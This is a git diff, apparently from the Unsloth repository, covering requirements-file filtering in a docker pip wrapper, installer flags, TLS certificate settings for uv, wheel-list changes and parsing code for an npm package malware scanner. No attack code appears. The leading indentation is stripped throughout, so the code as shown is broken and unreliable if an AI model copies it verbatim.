# and reinstall a baked package into the venv. A non-protected egg name
# is returned too, but the caller keeps it as a normal target either way.
_egg = re.search(r"[#&]egg=([A-Za-z0-9][A-Za-z0-9._-]*)", token)
if _egg:
return _egg.group(1).lower().replace("_", "-") or None
return None # vcs / url / local path -> let it pass through
# strip extras and any version/marker tail
name = re.split(r"[<>=!~\[\s;@]", token, 1)[0].strip()
@ -107,7 +121,66 @@ def _version_pin(token):
return m.group(1) if m else None
def _filter_requirements_file(path):
def _parse_include(stripped):
"""If `stripped` is an `-r`/`--requirement`/`-c`/`--constraint` include,
return (flag, target_path, inline_comment_or_None); else (None, None, None)."""
body, sep, comment = stripped.partition(" #")
body = body.rstrip()
comment = ("#" + comment) if sep else None
for flag in ("-r", "--requirement", "-c", "--constraint"):
target = None
if body == flag or body.startswith(flag + " "):
target = body[len(flag) :].strip()
elif body.startswith(flag + "="):
target = body[len(flag) + 1 :].strip()
elif not flag.startswith("--") and body.startswith(flag) and len(body) > len(flag):
target = body[len(flag) :].strip() # attached short form, e.g. `-rextras.txt`
else:
continue
return flag, (target or None), comment
return None, None, None
def _rewrite_include(line, stripped, src_dir, depth):
"""Rewrite a nested `-r`/`-c` include so pip still resolves it and its
protected specs are filtered too.
pip resolves a nested include against the directory of the file it is
READING; our filtered copy lives under /tmp, so a relative include would
look in /tmp and fail. Recursively filter the included file (dropping
protected packages there too, closing the multi-level bypass) and point the
parent at that filtered copy. URLs and unreadable/absolute-unfiltered files
fall back to an absolutised path so they still resolve. Returns
(new_line, changed, recorded, dropped)."""
flag, target, comment = _parse_include(stripped)
if not target:
return line, False, None, []
newline_char = "\n" if line.endswith("\n") else ""
def _emit(new_target):
rebuilt = flag + " " + new_target
if comment:
rebuilt += " " + comment
return rebuilt + newline_char
# A URL include cannot be filtered locally; leave it verbatim.
if "://" in target:
return line, False, None, []
abs_target = target if os.path.isabs(target) else os.path.join(src_dir, target)
# Recursively filter the included file. Guard against cyclic / deep includes.
if depth < 8:
f_path, f_rec, f_drp = _filter_requirements_file(abs_target, _depth = depth + 1)
if f_path != abs_target:
# The include was rewritten (protected specs dropped and/or its own
# nested includes absolutised); point at the filtered copy.
return _emit(f_path), True, f_rec, f_drp
# Nothing to filter inside; just make sure the path still resolves from /tmp.
if not os.path.isabs(target):
return _emit(abs_target), True, None, []
return line, False, None, []
def _filter_requirements_file(path, _depth = 0):
"""Strip baked/protected packages out of a `-r` requirements file.
Returns (path_to_use, recorded_transformers_version, dropped_specs). The same
@ -115,19 +188,33 @@ def _filter_requirements_file(path):
line, so a notebook `pip install -r reqs.txt` cannot overwrite the cu128 torch
/ vLLM / transformers stack with versions pinned inside the file. When nothing
is protected, or the file cannot be read/written, the original path is returned
unchanged. Comments, blank lines, option lines and nested `-r`/`-c` includes are
kept verbatim (nested includes are passed through, i.e. filtered one level).
unchanged. Comments, blank lines and option lines are kept verbatim; a nested
`-r`/`-c` include is recursively filtered too (protected specs dropped at every
level).
"""
try:
with open(path, encoding = "utf-8") as f:
lines = f.readlines()
except OSError:
return path, None, [] # remote URL / unreadable -> let the real tool handle it
src_dir = os.path.dirname(os.path.abspath(path))
out, dropped, recorded, changed = [], [], None, False
for line in lines:
stripped = line.strip()
if not stripped or stripped.startswith(("#", "-")):
out.append(line) # comment / blank / option / nested include -> keep
if not stripped or stripped.startswith("#"):
out.append(line) # comment / blank -> keep
continue
if stripped.startswith("-"):
# Option or nested include. Recursively filter a nested `-r`/`-c`
# include (so protected specs deep in the include tree cannot slip
# past _KEEP) and repoint it so it still resolves from /tmp.
new_line, rewrote, inc_rec, inc_drp = _rewrite_include(line, stripped, src_dir, _depth)
out.append(new_line)
if rewrote:
changed = True
if inc_rec and not recorded:
recorded = inc_rec
dropped.extend(inc_drp)
continue
spec = stripped.split(" #", 1)[0].strip() # drop any inline comment
name = _canon(spec)
@ -200,6 +287,14 @@ def main():
if _req_rec and not recorded:
recorded = _req_rec
dropped.extend(_req_drp)
elif prev_flag in _CONSTRAINT_FILE_FLAGS:
# Strip protected pins from the constraint file so it cannot
# downgrade the baked stack, but a constraint is not an install
# target and its transformers pin is not an install request, so
# do not set has_target / recorded here.
_c_path, _c_rec, _c_drp = _filter_requirements_file(tok)
keep_args.append(_c_path)
dropped.extend(_c_drp)
else:
keep_args.append(tok)
skip_next = False
@ -220,6 +315,10 @@ def main():
if _req_rec and not recorded:
recorded = _req_rec
dropped.extend(_req_drp)
elif _flag in _CONSTRAINT_FILE_FLAGS:
_c_path, _c_rec, _c_drp = _filter_requirements_file(_val)
keep_args.append(_flag + "=" + _c_path)
dropped.extend(_c_drp)
else:
keep_args.append(tok) # option with inline value, not a target
continue

19
docker/unsloth_run.py
View file

@ -15,7 +15,7 @@ Usage:
A raw github URL (raw.githubusercontent.com/.../nb/Foo.ipynb) is fetched first.
"""
import argparse, json, os, re, subprocess, sys, tempfile, urllib.request
import argparse, json, os, re, shutil, subprocess, sys, tempfile, urllib.request
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
try:
@ -69,10 +69,13 @@ def main():
sidecar = compat.sidecar_for(want) if (compat and want) else None
# Materialise the notebook locally for nbconvert.
tmp_dir = None
if args.notebook.startswith(("http://", "https://")) or args.out:
src_path = args.out or os.path.join(
tempfile.mkdtemp(), os.path.basename(args.notebook.split("?")[0])
)
if args.out:
src_path = args.out
else:
tmp_dir = tempfile.mkdtemp()
src_path = os.path.join(tmp_dir, os.path.basename(args.notebook.split("?")[0]))
with open(src_path, "w") as f:
json.dump(nb, f)
else:
@ -109,7 +112,13 @@ def main():
os.path.dirname(os.path.abspath(out_path)) or ".",
]
print("[unsloth-run] executing:", os.path.basename(src_path))
sys.exit(subprocess.call(cmd, env = env))
try:
rc = subprocess.call(cmd, env = env)
finally:
# Clean up the temp dir we materialised a downloaded notebook into.
if tmp_dir is not None:
shutil.rmtree(tmp_dir, ignore_errors = True)
sys.exit(rc)
if __name__ == "__main__":

9
docker/unsloth_sync_notebooks.sh
View file

@ -257,6 +257,15 @@ while IFS= read -r -d '' f; do
unchanged=$((unchanged + 1))
continue
fi
elif [ -n "${LAST[$rel]:-}" ] && [ "${UNSLOTH_KEEP_DELETED_NOTEBOOKS:-0}" = "1" ]; then
# We previously wrote this notebook and the user has since DELETED it.
# With the opt-out set, honor the deletion instead of restoring it from
# the fresh clone when upstream advances (otherwise the deletion only
# held until the next remote refresh). Keep the record so it stays known
# as managed-but-deleted.
printf '%s %s\n' "${LAST[$rel]}" "$rel" >> "$TMPSTATE"
kept=$((kept + 1))
continue
fi
mkdir -p "$(dirname "$dst")" 2>/dev/null || true
if cp -a "$f" "$dst" 2>/dev/null; then

17
install.ps1
View file

@ -99,6 +99,7 @@ function Install-UnslothStudio {
$TauriMode = $false
$SkipTorch = $false
$ShortcutsOnly = $false
$WithLlamaCppDir = ""
$argList = $args
for ($i = 0; $i -lt $argList.Count; $i++) {
switch ($argList[$i]) {
@ -116,6 +117,14 @@ function Install-UnslothStudio {
}
$PackageName = $argList[$i]
}
"--with-llama-cpp-dir" {
$i++
if ($i -ge $argList.Count) {
Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
}
$WithLlamaCppDir = $argList[$i]
}
}
}
@ -2435,6 +2444,13 @@ exit 0
}
$studioArgs = @('studio', 'setup')
if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
if ($WithLlamaCppDir) {
if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
}
$env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
}
$env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
# Hand the venv interpreter to setup.ps1 so it reuses the Python we already
# resolved and built the venv with, instead of re-probing the system (which
@ -2450,6 +2466,7 @@ exit 0
} else {
Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
}
Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
}

39
install.sh
View file

@ -53,6 +53,11 @@ _VERBOSE=false
_SHORTCUTS_ONLY=false
_next_is_package=false
_next_is_python=false
_next_is_llama_cpp_dir=false
# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
# (the documented piped-install style) is honored; the --with-llama-cpp-dir
# flag below overrides it when given.
_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
for arg in "$@"; do
if [ "$_next_is_package" = true ]; then
PACKAGE_NAME="$arg"
@ -64,6 +69,11 @@ for arg in "$@"; do
_next_is_python=false
continue
fi
if [ "$_next_is_llama_cpp_dir" = true ]; then
_WITH_LLAMA_CPP_DIR="$arg"
_next_is_llama_cpp_dir=false
continue
fi
case "$arg" in
--local) STUDIO_LOCAL_INSTALL=true ;;
--package) _next_is_package=true ;;
@ -72,6 +82,7 @@ for arg in "$@"; do
--no-torch) _NO_TORCH_FLAG=true ;;
--verbose|-v) _VERBOSE=true ;;
--shortcuts-only) _SHORTCUTS_ONLY=true ;;
--with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
esac
done
@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then
echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
exit 1
fi
if [ "$_next_is_llama_cpp_dir" = true ]; then
echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
exit 1
fi
# Validate --package to prevent injection into shell/Python commands.
# Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
@ -1636,6 +1651,21 @@ export UV_HTTP_RETRIES
: "${UV_HTTP_TIMEOUT:=180}"
export UV_HTTP_TIMEOUT
# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls.
# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which
# present their own CA certificate. rustls (uv's default) ignores the Keychain
# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer".
# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the
# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already
# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto
# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0.
if [ "$OS" = "macos" ]; then
: "${UV_SYSTEM_CERTS:=1}"
: "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}"
fi
[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS
[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS
version_ge() {
# returns 0 if $1 >= $2
_a=$1
@ -3028,6 +3058,13 @@ _run_setup_with_studio_home() {
"$@"
fi
}
if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
exit 1
fi
_WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
fi
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
_run_setup_with_studio_home env \
SKIP_STUDIO_BASE="$_SKIP_BASE" \
@ -3036,6 +3073,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
STUDIO_LOCAL_INSTALL=1 \
STUDIO_LOCAL_REPO="$_REPO_ROOT" \
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
else
# Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
@ -3050,6 +3088,7 @@ else
STUDIO_LOCAL_INSTALL=0 \
STUDIO_LOCAL_REPO= \
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
fi

23
pyproject.toml
View file

@ -255,10 +255,6 @@ cu118onlytorch270 = [
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')",
]
cu126onlytorch270 = [
"xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)",
@ -282,7 +278,6 @@ cu128onlytorch270 = [
]
cu118onlytorch271 = [
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
"xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')",
]
cu126onlytorch271 = [
"xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
@ -879,14 +874,12 @@ flashattentiontorch240abiFALSEcu12x = [
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'",
]
flashattentiontorch240abiTRUEcu12x = [
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'",
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'",
]
intelgputorch260 = [
"unsloth_zoo[intelgpu]",
@ -1174,14 +1167,14 @@ intelgputorch2120 = [
"unsloth_zoo[intelgpu]",
"unsloth[huggingfacenotorch]",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=844d981cb1b3948085e8cfa62c74de9f100259f6131959aa70be49123b88ae81 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a16b1d00e94ad87d62af3512e390348b8656419598004100c56028bf494f086b ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4e46e71e077cf483404a4c17ce40d71c5f0e13a81459139d4346ca427b1dd455 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4fdaed1bafc51d3a2834656a3420a6686a74ea226508765a49bf15d58ff3a930 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=2778b46b22e9fa0916398db299a125027a1b2331c1173b3dd2b9e2cab6263a31 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=ad5b147d04ee0d40f3d4d32f85f5aa3a3beb6cd5799ca026d3d7f4afa3d9e24f ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=d9482063af2a308543f23333e32edd738ea87cbb33ade68afda9ae0fd704ccd9 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=5d4d67f0deb1e851c01b293e602b8dcddad26ca2be61221cee3dc0e1aa0cdefd ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=81ff0eb0c4fc8e19d2510b28c3e1d9382a3c7d6fdaf6a9f9631a93a030d841cf ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=55574a68d275b85cd4d5cbf185084bae019ebf09c3f43b0bd2831b14935ec8e7 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a31c058c5c2e78ebe490a2e69f2f50caec6b1307ac096e944f116fdc06819d9a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=e701a31efa0334775f357c98716f3821775aa944219f7888e13c2dfe2daabe2a ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=0d7730651c3e52fbf3a430cc201455f0c6600dc72e681aec495f131ea44f341a ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=8f4a63de73e3d632098f93c8f0bd77244958a47d7c5f728b8ff35f8a91fdb983 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=6589ece3adc2b1ab88d90ff1267afc25df5c7b868f0b633e732cac70df36cbde ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=2fdf001a9b0575e8b1827127259bb9b13bf36e659882be74c2dfab46597d3e7a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
"torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=e8923cd1fe560472904b1461b745d2f1826bb9c1bc0808225d5f28a450e4d553 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
"torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=f7c082b2fc9b61def594d30ea57762dc4a8bc7111a9a9593953ed948de242e28 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",

535
scripts/scan_npm_packages.py
View file

@ -40,8 +40,10 @@ from __future__ import annotations
import argparse
import atexit
import base64 as _b64 # imported only so the IOC string-scan can detect it
import bisect
import hashlib
import io
import itertools
import json
import os
import re
@ -897,20 +899,364 @@ def safe_extract(
# ─────────────────────────────────────────────────────────────────────
# How far back to look for an enclosing bracket opener. Symmetric with the
# forward cap so a host that sits deep inside a large options object (its opening
# `{` many properties above) still binds the whole object, not just its own line;
# a too-far start only over-binds (more context, still fail-closed), never less.
_MAX_CONT_LINES = 200
# Hard cap on how far forward a bracket group is followed to its close, measured
# from the matched line so the tail after the match is always reachable even when
# the opener was found near the backward limit (digest input only, never
# displayed); a realistic config object closes well within it.
_MAX_GROUP_LINES = 200
# JS string literal (single / double / template), blanked before counting
# brackets so a bracket inside a string is not mistaken for code.
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / on a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
object; tracking the running minimum keeps that opener visible so the group
binds the path/headers that follow. Only bracket characters are walked (pulled
out with one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _find_unescaped(line: str, quote: str, start: int) -> int:
"""Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
i, n = start, len(line)
while i < n:
if line[i] == "\\":
i += 2
continue
if line[i] == quote:
return i
i += 1
return -1
# A `/` is a regex literal (not division) when the previous significant character
# is none (start) or one of these expression-position chars. Used only by the
# multi-line blanked view, and the span is unioned with the single-line view, so
# an over- or under-detection only ever grows the bound span (never shrinks it).
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
def _blank_js_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single, double, multi-line backtick template
literals) AND regex literal bodies with spaces across ``lines``, keeping the
line count and every bracket OUTSIDE a string/regex intact, so bracket counting
never miscounts a ``)`` that lives inside a string -- including a template
literal spanning several lines or a ``/)/`` regex -- which a per-line regex
cannot blank. Escapes are honoured."""
out: list[str] = []
in_back = False # inside a multi-line `template` literal
prev_sig = "" # last significant non-space char (for regex-vs-division)
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_back:
end = _find_unescaped(line, "`", i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 1))
i = end + 1
in_back = False
prev_sig = "`"
continue
ch = line[i]
if ch in " \t":
buf.append(ch)
i += 1
continue
if ch in "'\"`":
end = _find_unescaped(line, ch, i + 1)
if end == -1:
buf.append(" " * (n - i))
i = n
if ch == "`": # opens a template literal that runs past this line
in_back = True
else:
buf.append(" " * (end - i + 1))
i = end + 1
prev_sig = "v" # a string is a value: a following `/` is division
continue
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
# Regex literal: blank to the closing unescaped `/` outside a `[...]`
# char class. A regex never spans lines, so no close on the line
# means this `/` is really division.
j, in_class, closed = i + 1, False, False
while j < n:
c = line[j]
if c == "\\":
j += 2
continue
if c == "[":
in_class = True
elif c == "]":
in_class = False
elif c == "/" and not in_class:
j += 1
closed = True
break
j += 1
if closed:
buf.append(" " * (j - i))
i = j
prev_sig = "v" # a regex is a value
continue
buf.append(ch)
i += 1
prev_sig = "/"
continue
buf.append(ch)
i += 1
prev_sig = ch
out.append("".join(buf))
return out
def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
"""Precompute once per evidence call: raw lines for display, two string-blanked
views for bracket counting (single-line via regex = legacy, and multi-line
aware so a template literal spanning lines is blanked), and newline offsets for
O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
file on every single match (which was O(matches x file size))."""
lines = text.split("\n")
sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
ml_blanked = _blank_js_strings(lines)
nl = [p for p, ch in enumerate(text) if ch == "\n"]
return lines, sl_blanked, ml_blanked, nl
# Cap on formatted matches in one evidence string; beyond it the remaining match
# texts are folded into a single digest so a huge/minified file cannot build a
# multi-megabyte evidence blob while an added/removed match past the cap still
# changes the key.
_MAX_EVIDENCE_MATCHES = 64
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one
blanked view: scan back to the still-open opener, then forward to its close."""
# Backward: find the line that opens a bracket still unclosed at the match,
# so a match inside a multi-line object starts from the object opener. Each line
# is reduced to (L, R) and applied in order: first the L closers consume open
# brackets from the running context (a stray closer whose opener is outside the
# window only clamps depth at 0, it never goes negative), then the R openers
# add to it. Tracking order this way (rather than a single net per line) keeps a
# trailing opener visible even when leading closers on the same line net it to
# <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
# changed path/headers after such a line ride the unchanged-hostname key.
start = idx
depth = 0
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
left, right = _bracket_lr(blanked[j])
if left >= depth:
depth = 0 # everything opened so far in the window has closed
start = idx
else:
depth -= left
if right > 0:
if depth == 0:
start = j # outermost still-open opener begins here
depth += right
# Forward: extend until the group opened at `start` closes past the match. The
# same order-aware reduction is used (clamping leading closers at 0) so the
# foreign `})` on the opener line does not drive the count negative and stop the
# scan before the real close. The cap is measured from the match (`idx`), not
# from `start`, so an opener found near the backward limit does not eat the
# whole forward budget and drop the path/headers/body that follow the match.
depth = 0
end = start
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
left, right = _bracket_lr(blanked[j])
depth = max(0, depth - left) + right
end = j
if j >= idx and depth <= 0:
break
return start, end
def _canon_preserve_strings(text: str) -> str:
"""Whitespace canon that collapses runs OUTSIDE string literals to a single
space (so a reindent or spacing change between tokens stays stable) while
preserving whitespace INSIDE single/double/backtick string literals (so a
changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain
``" ".join(text.split())`` erases both, suppressing an intra-literal payload
edit along with harmless indentation. Leading/trailing outside whitespace is
dropped; escapes inside strings are honoured. Used for the evidence hash and
the logical-line digests so the two stay consistent."""
out: list[str] = []
i, n = 0, len(text)
quote: str | None = None
pending_space = False
while i < n:
ch = text[i]
if quote is not None:
out.append(ch)
if ch == "\\" and i + 1 < n:
out.append(text[i + 1])
i += 2
continue
if ch == quote:
quote = None
i += 1
continue
if ch.isspace():
pending_space = True
i += 1
continue
if pending_space and out:
out.append(" ")
pending_space = False
out.append(ch)
if ch in "'\"`":
quote = ch
i += 1
return "".join(out)
def _logical_line_text(
lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
) -> str:
"""The matched line plus the bracket group it belongs to (the enclosing
